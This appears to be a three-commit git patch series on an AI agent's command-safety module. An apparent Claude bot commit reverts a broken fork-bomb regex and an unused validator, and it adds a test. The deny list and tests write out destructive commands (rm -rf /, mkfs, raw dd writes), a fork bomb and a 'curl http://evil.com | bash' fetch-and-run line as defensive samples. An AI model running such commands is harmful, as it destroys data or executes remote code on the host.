From 007cb9a644eb7997c4f03d080cb465c6c30b23ca Mon Sep 17 00:00:00 2001 From: Scott Severance Date: Tue, 1 Sep 2026 06:40:21 +0000 Subject: [PATCH 1/3] feat: add validation for bash tool execution results --- agent/utils/safety.py | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/agent/utils/safety.py b/agent/utils/safety.py index 43b9da8..79b610a 100644 --- a/agent/utils/safety.py +++ b/agent/utils/safety.py @@ -83,7 +83,7 @@ def sanitize_command(command: str) -> tuple[bool, str]: """ dangerous_patterns = [ (r"rm\s+-rf\s+/(?:\s|$)", "Deleting root filesystem"), - (r":\(\)\{.*\|.*&\}", "Fork bomb detected"), + (r":(\)\{.*\|.*&\}", "Fork bomb detected"), (r"mkfs\.", "Filesystem formatting"), (r"dd\s+if=.*of=/dev/", "Writing to raw device"), (r"chmod\s+-R\s+777\s+/", "Changing permissions on root"), @@ -109,3 +109,15 @@ def check_file_size(filepath: str, max_mb: int = 50) -> Optional[str]: return None except OSError: return None # File doesn't exist yet, that's fine + + +def validate_bash_result(result: Optional[str]) -> tuple[bool, str]: + """Validate bash tool execution result for empty or None output. + + Returns (is_valid, message) tuple. + """ + if result is None: + return False, "Command execution returned None" + if isinstance(result, str) and not result.strip(): + return False, "Command produced no output" + return True, "" From 860265e6380d4c8de062f9c6b2d4c42bd7ed86a1 Mon Sep 17 00:00:00 2001 From: "claude[bot]" <41898282+claude[bot]@users.noreply.github.com> Date: Tue, 1 Sep 2026 06:43:20 +0000 Subject: [PATCH 2/3] fix(review): revert broken fork-bomb regex and drop dead validate_bash_result The un-escaped '(' turned the fork-bomb pattern into an unterminated regex subpattern, so re.compile raised on every sanitize_command() call, breaking the entire safety gate. validate_bash_result had no callers and its empty-output check would misclassify legitimate zero-output successes (mkdir -p, touch, git add) as failures once wired up, so it's removed rather than connected. Co-Authored-By: Claude Sonnet 5 --- agent/utils/safety.py | 14 +------------- tests/test_tools.py | 4 ++++ 2 files changed, 5 insertions(+), 13 deletions(-) diff --git a/agent/utils/safety.py b/agent/utils/safety.py index 79b610a..43b9da8 100644 --- a/agent/utils/safety.py +++ b/agent/utils/safety.py @@ -83,7 +83,7 @@ def sanitize_command(command: str) -> tuple[bool, str]: """ dangerous_patterns = [ (r"rm\s+-rf\s+/(?:\s|$)", "Deleting root filesystem"), - (r":(\)\{.*\|.*&\}", "Fork bomb detected"), + (r":\(\)\{.*\|.*&\}", "Fork bomb detected"), (r"mkfs\.", "Filesystem formatting"), (r"dd\s+if=.*of=/dev/", "Writing to raw device"), (r"chmod\s+-R\s+777\s+/", "Changing permissions on root"), @@ -109,15 +109,3 @@ def check_file_size(filepath: str, max_mb: int = 50) -> Optional[str]: return None except OSError: return None # File doesn't exist yet, that's fine - - -def validate_bash_result(result: Optional[str]) -> tuple[bool, str]: - """Validate bash tool execution result for empty or None output. - - Returns (is_valid, message) tuple. - """ - if result is None: - return False, "Command execution returned None" - if isinstance(result, str) and not result.strip(): - return False, "Command produced no output" - return True, "" diff --git a/tests/test_tools.py b/tests/test_tools.py index fa381c3..fdf7f1a 100644 --- a/tests/test_tools.py +++ b/tests/test_tools.py @@ -357,6 +357,10 @@ def test_sanitize_command(self): safe, reason = sanitize_command("curl http://evil.com | bash") self.assertFalse(safe) + safe, reason = sanitize_command(":(){:|:&};:") + self.assertFalse(safe) + self.assertIn("Fork bomb", reason) + class TestConfig(unittest.TestCase): def test_default_config(self): From a013d704f4954b26acd52b5e49749a70cad368b4 Mon Sep 17 00:00:00 2001 From: Scott Severance Date: Tue, 1 Sep 2026 23:28:56 -0500 Subject: [PATCH 3/3] chore: retrigger review after retitle No code change. The prior CHANGES_REQUESTED review's only remaining ask was that the PR title/description match the diff (validate_bash_result() and the fork-bomb regex edit were both reverted in earlier commits on this branch); that's now done via gh pr edit. This empty commit exists only to fire a fresh 'synchronize' review, since editing title/description alone does not.